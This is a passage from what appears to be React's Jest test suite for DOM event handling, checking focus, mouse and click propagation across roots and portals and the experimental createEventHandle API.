onFocus={onFocus}\n                  onFocusCapture={onFocusCapture}\n                  tabIndex={0}>\n                  Click me!\n                </div>\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Test />);\n          });\n\n          const buttonElement = buttonRef.current;\n          buttonElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(1);\n          expect(onFocusCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          divElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(3);\n          expect(onFocusCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        it('handle propagation of focus events between roots', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const childRef = React.createRef();\n          const log = [];\n          const onFocus = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onFocusCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onFocus={onFocus}\n                onFocusCapture={onFocusCapture}\n                tabIndex={0}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onFocus={onFocus}\n                onFocusCapture={onFocusCapture}>\n                <div ref={childRef} />\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n          const childRoot = ReactDOMClient.createRoot(childRef.current);\n          await act(() => {\n            childRoot.render(<Child />);\n          });\n\n          const buttonElement = buttonRef.current;\n          buttonElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(1);\n          expect(onFocusCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          divElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(3);\n          expect(onFocusCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        it('handle propagation of focus events between portals', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onFocus = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onFocusCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          const portalElement = document.createElement('div');\n          document.body.appendChild(portalElement);\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onFocus={onFocus}\n                onFocusCapture={onFocusCapture}\n                tabIndex={0}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onFocus={onFocus}\n                onFocusCapture={onFocusCapture}>\n                {ReactDOM.createPortal(<Child />, portalElement)}\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const buttonElement = buttonRef.current;\n          buttonElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(1);\n          expect(onFocusCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          divElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(3);\n          expect(onFocusCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n\n          document.body.removeChild(portalElement);\n        });\n\n        it('native stopPropagation on focus events between portals', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const middleDivRef = React.createRef();\n          const log = [];\n          const onFocus = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onFocusCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          const portalElement = document.createElement('div');\n          document.body.appendChild(portalElement);\n\n          function Child() {\n            return (\n              <div ref={middleDivRef}>\n                <div\n                  ref={divRef}\n                  onFocus={onFocus}\n                  onFocusCapture={onFocusCapture}\n                  tabIndex={0}>\n                  Click me!\n                </div>\n              </div>\n            );\n          }\n\n          function Parent() {\n            React.useLayoutEffect(() => {\n              // This should prevent the portalElement listeners from\n              // capturing the events in the bubble phase.\n              middleDivRef.current.addEventListener('focusin', e => {\n                e.stopPropagation();\n              });\n            });\n\n            return (\n              <button\n                ref={buttonRef}\n                onFocus={onFocus}\n                onFocusCapture={onFocusCapture}>\n                {ReactDOM.createPortal(<Child />, portalElement)}\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const buttonElement = buttonRef.current;\n          buttonElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(1);\n          expect(onFocusCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          divElement.focus();\n          expect(onFocus).toHaveBeenCalledTimes(1);\n          expect(onFocusCapture).toHaveBeenCalledTimes(3);\n\n          document.body.removeChild(portalElement);\n        });\n\n        it('handle propagation of enter and leave events between portals', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onMouseEnter = jest.fn(e => log.push(e.currentTarget));\n          const onMouseLeave = jest.fn(e => log.push(e.currentTarget));\n\n          const portalElement = document.createElement('div');\n          document.body.appendChild(portalElement);\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onMouseEnter={onMouseEnter}\n                onMouseLeave={onMouseLeave}\n              />\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onMouseEnter={onMouseEnter}\n                onMouseLeave={onMouseLeave}>\n                {ReactDOM.createPortal(<Child />, portalElement)}\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const buttonElement = buttonRef.current;\n          buttonElement.dispatchEvent(\n            new MouseEvent('mouseover', {\n              bubbles: true,\n              cancelable: true,\n              relatedTarget: null,\n            }),\n          );\n          expect(onMouseEnter).toHaveBeenCalledTimes(1);\n          expect(onMouseLeave).toHaveBeenCalledTimes(0);\n          expect(log[0]).toEqual(buttonElement);\n\n          const divElement = divRef.current;\n          buttonElement.dispatchEvent(\n            new MouseEvent('mouseout', {\n              bubbles: true,\n              cancelable: true,\n              relatedTarget: divElement,\n            }),\n          );\n          divElement.dispatchEvent(\n            new MouseEvent('mouseover', {\n              bubbles: true,\n              cancelable: true,\n              relatedTarget: buttonElement,\n            }),\n          );\n          expect(onMouseEnter).toHaveBeenCalledTimes(2);\n          expect(onMouseLeave).toHaveBeenCalledTimes(0);\n          expect(log[1]).toEqual(divElement);\n\n          document.body.removeChild(portalElement);\n        });\n\n        it('handle propagation of enter and leave events between portals #2', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const portalRef = React.createRef();\n          const log = [];\n          const onMouseEnter = jest.fn(e => log.push(e.currentTarget));\n          const onMouseLeave = jest.fn(e => log.push(e.currentTarget));\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onMouseEnter={onMouseEnter}\n                onMouseLeave={onMouseLeave}\n              />\n            );\n          }\n\n          function Parent() {\n            const [portal, setPortal] = React.useState(null);\n\n            React.useLayoutEffect(() => {\n              setPortal(ReactDOM.createPortal(<Child />, portalRef.current));\n            }, []);\n\n            return (\n              <button\n                ref={buttonRef}\n                onMouseEnter={onMouseEnter}\n                onMouseLeave={onMouseLeave}>\n                <div ref={portalRef}>{portal}</div>\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const buttonElement = buttonRef.current;\n          buttonElement.dispatchEvent(\n            new MouseEvent('mouseover', {\n              bubbles: true,\n              cancelable: true,\n              relatedTarget: null,\n            }),\n          );\n          expect(onMouseEnter).toHaveBeenCalledTimes(1);\n          expect(onMouseLeave).toHaveBeenCalledTimes(0);\n          expect(log[0]).toEqual(buttonElement);\n\n          const divElement = divRef.current;\n          buttonElement.dispatchEvent(\n            new MouseEvent('mouseout', {\n              bubbles: true,\n              cancelable: true,\n              relatedTarget: divElement,\n            }),\n          );\n          divElement.dispatchEvent(\n            new MouseEvent('mouseover', {\n              bubbles: true,\n              cancelable: true,\n              relatedTarget: buttonElement,\n            }),\n          );\n          expect(onMouseEnter).toHaveBeenCalledTimes(2);\n          expect(onMouseLeave).toHaveBeenCalledTimes(0);\n          expect(log[1]).toEqual(divElement);\n        });\n\n        it('should preserve bubble/capture order between roots and nested portals', async () => {\n          const targetRef = React.createRef();\n          let log = [];\n          const onClickRoot = jest.fn(e => log.push('bubble root'));\n          const onClickCaptureRoot = jest.fn(e => log.push('capture root'));\n          const onClickPortal = jest.fn(e => log.push('bubble portal'));\n          const onClickCapturePortal = jest.fn(e => log.push('capture portal'));\n\n          function Portal() {\n            return (\n              <div\n                onClick={onClickPortal}\n                onClickCapture={onClickCapturePortal}\n                ref={targetRef}>\n                Click me!\n              </div>\n            );\n          }\n\n          const portalContainer = document.createElement('div');\n\n          let shouldStopPropagation = false;\n          portalContainer.addEventListener(\n            'click',\n            e => {\n              if (shouldStopPropagation) {\n                e.stopPropagation();\n              }\n            },\n            false,\n          );\n\n          function Root() {\n            const portalTargetRef = React.useRef(null);\n            React.useLayoutEffect(() => {\n              portalTargetRef.current.appendChild(portalContainer);\n            });\n            return (\n              <div onClick={onClickRoot} onClickCapture={onClickCaptureRoot}>\n                <div ref={portalTargetRef} />\n                {ReactDOM.createPortal(<Portal />, portalContainer)}\n              </div>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Root />);\n          });\n\n          const divElement = targetRef.current;\n          dispatchClickEvent(divElement);\n          expect(log).toEqual([\n            'capture root',\n            'capture portal',\n            'bubble portal',\n            'bubble root',\n          ]);\n\n          log = [];\n\n          shouldStopPropagation = true;\n          dispatchClickEvent(divElement);\n\n          if (enableLegacyFBSupport) {\n            // We aren't using roots with legacyFBSupport, we put clicks on the document, so we exbit the previous\n            // behavior.\n            expect(log).toEqual(['capture root', 'capture portal']);\n          } else {\n            expect(log).toEqual([\n              // The events on root probably shouldn't fire if a non-React intermediated. but current behavior is that they do.\n              'capture root',\n              'capture portal',\n              'bubble portal',\n              'bubble root',\n            ]);\n          }\n        });\n\n        describe('ReactDOM.createEventHandle', () => {\n          beforeEach(() => {\n            jest.resetModules();\n            ReactFeatureFlags = require('shared/ReactFeatureFlags');\n            ReactFeatureFlags.enableLegacyFBSupport = enableLegacyFBSupport;\n            ReactFeatureFlags.enableCreateEventHandleAPI = true;\n\n            React = require('react');\n            ReactDOM = require('react-dom');\n            ReactDOMClient = require('react-dom/client');\n            Scheduler = require('scheduler');\n            ReactDOMServer = require('react-dom/server');\n            act = require('internal-test-utils').act;\n\n            const InternalTestUtils = require('internal-test-utils');\n            waitForAll = InternalTestUtils.waitForAll;\n            waitFor = InternalTestUtils.waitFor;\n          });\n\n          // @gate www\n          it('can render correctly with the ReactDOMServer', () => {\n            const clickEvent = jest.fn();\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              const divRef = React.useRef(null);\n\n              React.useEffect(() => {\n                return setClick(divRef.current, clickEvent);\n              });\n\n              return <div ref={divRef}>Hello world</div>;\n            }\n            const output = ReactDOMServer.renderToString(<Test />);\n            expect(output).toBe(`<div>Hello world</div>`);\n          });\n\n          // @gate www\n          it('can render correctly with the ReactDOMServer hydration', async () => {\n            const clickEvent = jest.fn();\n            const spanRef = React.createRef();\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                return setClick(spanRef.current, clickEvent);\n              });\n\n              return (\n                <div>\n                  <span ref={spanRef}>Hello world</span>\n                </div>\n              );\n            }\n            const output = ReactDOMServer.renderToString(<Test />);\n            expect(output).toBe(`<div><span>Hello world</span></div>`);\n            container.innerHTML = output;\n            await act(() => {\n              ReactDOMClient.hydrateRoot(container, <Test />);\n            });\n            dispatchClickEvent(spanRef.current);\n            expect(clickEvent).toHaveBeenCalledTimes(1);\n          });\n\n          // @gate www\n          it('should correctly work for a basic \"click\" listener', async () => {\n            let log = [];\n            const clickEvent = jest.fn(event => {\n              log.push({\n                eventPhase: event.eventPhase,\n                type: event.type,\n                currentTarget: event.currentTarget,\n                target: event.target,\n              });\n            });\n            const divRef = React.createRef();\n            const buttonRef = React.createRef();\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                return setClick(buttonRef.current, clickEvent);\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            expect(container.innerHTML).toBe(\n              '<button><div>Click me!</div></button>',\n            );\n\n            // Clicking the button should trigger the event callback\n            let divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(log).toEqual([\n              {\n                eventPhase: 3,\n                type: 'click',\n                currentTarget: buttonRef.current,\n                target: divRef.current,\n              },\n            ]);\n            expect(clickEvent).toBeCalledTimes(1);\n\n            // Unmounting the container and clicking should not work\n            await act(() => {\n              root.render(null);\n            });\n\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toBeCalledTimes(1);\n\n            // Re-rendering the container and clicking should work\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toBeCalledTimes(2);\n\n            log = [];\n\n            // Clicking the button should also work\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(log).toEqual([\n              {\n                eventPhase: 3,\n                type: 'click',\n                currentTarget: buttonRef.current,\n                target: buttonRef.current,\n              },\n            ]);\n\n            const setClick2 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test2({clickEvent2}) {\n              React.useEffect(() => {\n                return setClick2(buttonRef.current, clickEvent2);\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            let clickEvent2 = jest.fn();\n            await act(() => {\n              root.render(<Test2 clickEvent2={clickEvent2} />);\n            });\n\n            divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent2).toBeCalledTimes(1);\n\n            // Reset the function we pass in, so it's different\n            clickEvent2 = jest.fn();\n            await act(() => {\n              root.render(<Test2 clickEvent2={clickEvent2} />);\n            });\n\n            divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent2).toBeCalledTimes(1);\n          });\n\n          // @gate www\n          it('should correctly work for setting and clearing a basic \"click\" listener', async () => {\n            const clickEvent = jest.fn();\n            const divRef = React.createRef();\n            const buttonRef = React.createRef();\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n\n            function Test({off}) {\n              React.useEffect(() => {\n                const clear = setClick(buttonRef.current, clickEvent);\n                if (off) {\n                  clear();\n                }\n                return clear;\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n\n            await act(() => {\n              root.render(<Test off={false} />);\n            });\n\n            let divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toBeCalledTimes(1);\n\n            // The listener should get unmounted\n            await act(() => {\n              root.render(<Test off={true} />);\n            });\n\n            clickEvent.mockClear();\n\n            divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toBeCalledTimes(0);\n          });\n\n          // @gate www\n          it('should handle the target being a text node', async () => {\n            const clickEvent = jest.fn();\n            const buttonRef = React.createRef();\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                return setClick(buttonRef.current, clickEvent);\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const textNode = buttonRef.current.firstChild;\n            dispatchClickEvent(textNode);\n            expect(clickEvent).toBeCalledTimes(1);\n          });\n\n          // @gate www\n          it('handle propagation of click events', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const log = [];\n            const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n            const onClickCapture = jest.fn(e =>\n              log.push(['capture', e.currentTarget]),\n            );\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n            const setCaptureClick = ReactDOM.unstable_createEventHandle(\n              'click',\n              {\n                capture: true,\n              },\n            );\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick(buttonRef.current, onClick);\n                const clearCaptureClick1 = setCaptureClick(\n                  buttonRef.current,\n                  onClickCapture,\n                );\n                const clearClick2 = setClick(divRef.current, onClick);\n                const clearCaptureClick2 = setCaptureClick(\n                  divRef.current,\n                  onClickCapture,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearCaptureClick1();\n                  clearClick2();\n                  clearCaptureClick2();\n                };\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(onClick).toHaveBeenCalledTimes(1);\n            expect(onClickCapture).toHaveBeenCalledTimes(1);\n            expect(log[0]).toEqual(['capture', buttonElement]);\n            expect(log[1]).toEqual(['bubble', buttonElement]);\n\n            log.length = 0;\n            onClick.mockClear();\n            onClickCapture.mockClear();\n\n            const divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(onClick).toHaveBeenCalledTimes(2);\n            expect(onClickCapture).toHaveBeenCalledTimes(2);\n            expect(log[0]).toEqual(['capture', buttonElement]);\n            expect(log[1]).toEqual(['capture', divElement]);\n            expect(log[2]).toEqual(['bubble', divElement]);\n            expect(log[3]).toEqual(['bubble', buttonElement]);\n          });\n\n          // @gate www\n          it('handle propagation of click events mixed with onClick events', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const log = [];\n            const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n            const onClickCapture = jest.fn(e =>\n              log.push(['capture', e.currentTarget]),\n            );\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n            const setClickCapture = ReactDOM.unstable_createEventHandle(\n              'click',\n              {\n                capture: true,\n              },\n            );\n\n            function Test() {\n              React.useEffect(() => {\n                setClick(buttonRef.current, onClick);\n                setClickCapture(buttonRef.current, onClickCapture);\n\n                return () => {\n                  setClick();\n                  setClickCapture();\n                };\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div\n                    ref={divRef}\n                    onClick={onClick}\n                    onClickCapture={onClickCapture}>\n                    Click me!\n                  </div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(onClick).toHaveBeenCalledTimes(1);\n            expect(onClickCapture).toHaveBeenCalledTimes(1);\n            expect(log[0]).toEqual(['capture', buttonElement]);\n            expect(log[1]).toEqual(['bubble', buttonElement]);\n\n            const divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(onClick).toHaveBeenCalledTimes(3);\n            expect(onClickCapture).toHaveBeenCalledTimes(3);\n            expect(log[2]).toEqual(['capture', buttonElement]);\n            expect(log[3]).toEqual(['capture', divElement]);\n            expect(log[4]).toEqual(['bubble', divElement]);\n            expect(log[5]).toEqual(['bubble', buttonElement]);\n          });\n\n          // @gate www\n          it('should correctly work for a basic \"click\" listener on the outer target', async () => {\n            const log = [];\n            const clickEvent = jest.fn(event => {\n              log.push({\n                eventPhase: event.eventPhase,\n                type: event.type,\n                currentTarget: event.currentTarget,\n                target: event.target,\n              });\n            });\n            const divRef = React.createRef();\n            const buttonRef = React.createRef();\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                return setClick(divRef.current, clickEvent);\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            expect(container.innerHTML).toBe(\n              '<button><div>Click me!</div></button>',\n            );\n\n            // Clicking the button should trigger the event callback\n            let divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(log).toEqual([\n              {\n                eventPhase: 3,\n                type: 'click',\n                currentTarget: divRef.current,\n                target: divRef.current,\n              },\n            ]);\n\n            // Unmounting the container and clicking should not work\n            await act(() => {\n              root.render(null);\n            });\n\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toBeCalledTimes(1);\n\n            // Re-rendering the container and clicking should work\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toBeCalledTimes(2);\n\n            // Clicking the button should not work\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(clickEvent).toBeCalledTimes(2);\n          });\n\n          // @gate www\n          it('should correctly handle many nested target listeners', async () => {\n            const buttonRef = React.createRef();\n            const targetListener1 = jest.fn();\n            const targetListener2 = jest.fn();\n            const targetListener3 = jest.fn();\n            const targetListener4 = jest.fn();\n            let setClick1 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            let setClick2 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            let setClick3 = ReactDOM.unstable_createEventHandle('click');\n            let setClick4 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(\n                  buttonRef.current,\n                  targetListener1,\n                );\n                const clearClick2 = setClick2(\n                  buttonRef.current,\n                  targetListener2,\n                );\n                const clearClick3 = setClick3(\n                  buttonRef.current,\n                  targetListener3,\n                );\n                const clearClick4 = setClick4(\n                  buttonRef.current,\n                  targetListener4,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                  clearClick3();\n                  clearClick4();\n                };\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            let buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n\n            expect(targetListener1).toHaveBeenCalledTimes(1);\n            expect(targetListener2).toHaveBeenCalledTimes(1);\n            expect(targetListener3).toHaveBeenCalledTimes(1);\n            expect(targetListener4).toHaveBeenCalledTimes(1);\n\n            setClick1 = ReactDOM.unstable_createEventHandle('click');\n            setClick2 = ReactDOM.unstable_createEventHandle('click');\n            setClick3 = ReactDOM.unstable_createEventHandle('click');\n            setClick4 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test2() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(\n                  buttonRef.current,\n                  targetListener1,\n                );\n                const clearClick2 = setClick2(\n                  buttonRef.current,\n                  targetListener2,\n                );\n                const clearClick3 = setClick3(\n                  buttonRef.current,\n                  targetListener3,\n                );\n                const clearClick4 = setClick4(\n                  buttonRef.current,\n                  targetListener4,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                  clearClick3();\n                  clearClick4();\n                };\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            await act(() => {\n              root.render(<Test2 />);\n            });\n\n            buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(targetListener1).toHaveBeenCalledTimes(2);\n            expect(targetListener2).toHaveBeenCalledTimes(2);\n            expect(targetListener3).toHaveBeenCalledTimes(2);\n            expect(targetListener4).toHaveBeenCalledTimes(2);\n          });\n\n          // @gate www\n          it('should correctly handle stopPropagation correctly for target events', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const clickEvent = jest.fn();\n            const setClick1 = ReactDOM.unstable_createEventHandle('click', {\n              bind: buttonRef,\n            });\n            const setClick2 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(buttonRef.current, clickEvent);\n                const clearClick2 = setClick2(divRef.current, e => {\n                  e.stopPropagation();\n                });\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                };\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(clickEvent).toHaveBeenCalledTimes(0);\n          });\n\n          // @gate www\n          it('should correctly handle stopPropagation correctly for many target events', async () => {\n            const buttonRef = React.createRef();\n            const targetListener1 = jest.fn(e => e.stopPropagation());\n            const targetListener2 = jest.fn(e => e.stopPropagation());\n            const targetListener3 = jest.fn(e => e.stopPropagation());\n            const targetListener4 = jest.fn(e => e.stopPropagation());\n            const setClick1 = ReactDOM.unstable_createEventHandle('click');\n            const setClick2 = ReactDOM.unstable_createEventHandle('click');\n            const setClick3 = ReactDOM.unstable_createEventHandle('click');\n            const setClick4 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(\n                  buttonRef.current,\n                  targetListener1,\n                );\n                const clearClick2 = setClick2(\n                  buttonRef.current,\n                  targetListener2,\n                );\n                const clearClick3 = setClick3(\n                  buttonRef.current,\n                  targetListener3,\n                );\n                const clearClick4 = setClick4(\n                  buttonRef.current,\n                  targetListener4,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                  clearClick3();\n                  clearClick4();\n                };\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(targetListener1).toHaveBeenCalledTimes(1);\n            expect(targetListener2).toHaveBeenCalledTimes(1);\n            expect(targetListener3).toHaveBeenCalledTimes(1);\n            expect(targetListener4).toHaveBeenCalledTimes(1);\n          });\n\n          // @gate www\n          it('should correctly handle stopPropagation for mixed capture/bubbling target listeners', async () => {\n            const buttonRef = React.createRef();\n            const targetListener1 = jest.fn(e => e.stopPropagation());\n            const targetListener2 = jest.fn(e => e.stopPropagation());\n            const targetListener3 = jest.fn(e => e.stopPropagation());\n            const targetListener4 = jest.fn(e => e.stopPropagation());\n            const setClick1 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            const setClick2 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            const setClick3 = ReactDOM.unstable_createEventHandle('click');\n            const setClick4 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(\n                  buttonRef.current,\n                  targetListener1,\n                );\n                const clearClick2 = setClick2(\n                  buttonRef.current,\n                  targetListener2,\n                );\n                const clearClick3 = setClick3(\n                  buttonRef.current,\n                  targetListener3,\n                );\n                const clearClick4 = setClick4(\n                  buttonRef.current,\n                  targetListener4,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                  clearClick3();\n                  clearClick4();\n                };\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(targetListener1).toHaveBeenCalledTimes(1);\n            expect(targetListener2).toHaveBeenCalledTimes(1);\n            expect(targetListener3).toHaveBeenCalledTimes(0);\n            expect(targetListener4).toHaveBeenCalledTimes(0);\n          });\n\n          // @gate www\n          it('should work with concurrent mode updates', async () => {\n            const log = [];\n            const ref = React.createRef();\n            const setClick1 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test({counter}) {\n              React.useLayoutEffect(() => {\n                return setClick1(ref.current, () => {\n                  log.push({counter});\n                });\n              });\n\n              Scheduler.log('Test');\n              return <button ref={ref}>Press me</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            root.render(<Test counter={0} />);\n\n            await waitForAll(['Test']);\n\n            // Click the button\n            dispatchClickEvent(ref.current);\n            expect(log).toEqual([{counter: 0}]);\n\n            // Clear log\n            log.length = 0;\n\n            // Increase counter\n            React.startTransition(() => {\n              root.render(<Test counter={1} />);\n            });\n            // Yield before committing\n            await waitFor(['Test']);\n\n            // Click the button again\n            dispatchClickEvent(ref.current);\n            expect(log).toEqual([{counter: 0}]);\n\n            // Clear log\n            log.length = 0;\n\n            // Commit\n            await waitForAll([]);\n            dispatchClickEvent(ref.current);\n            expect(log).toEqual([{counter: 1}]);\n          });\n\n          // @gate www\n          it('should correctly work for a basic \"click\" window listener', async () => {\n            const log = [];\n            const clickEvent = jest.fn(event => {\n              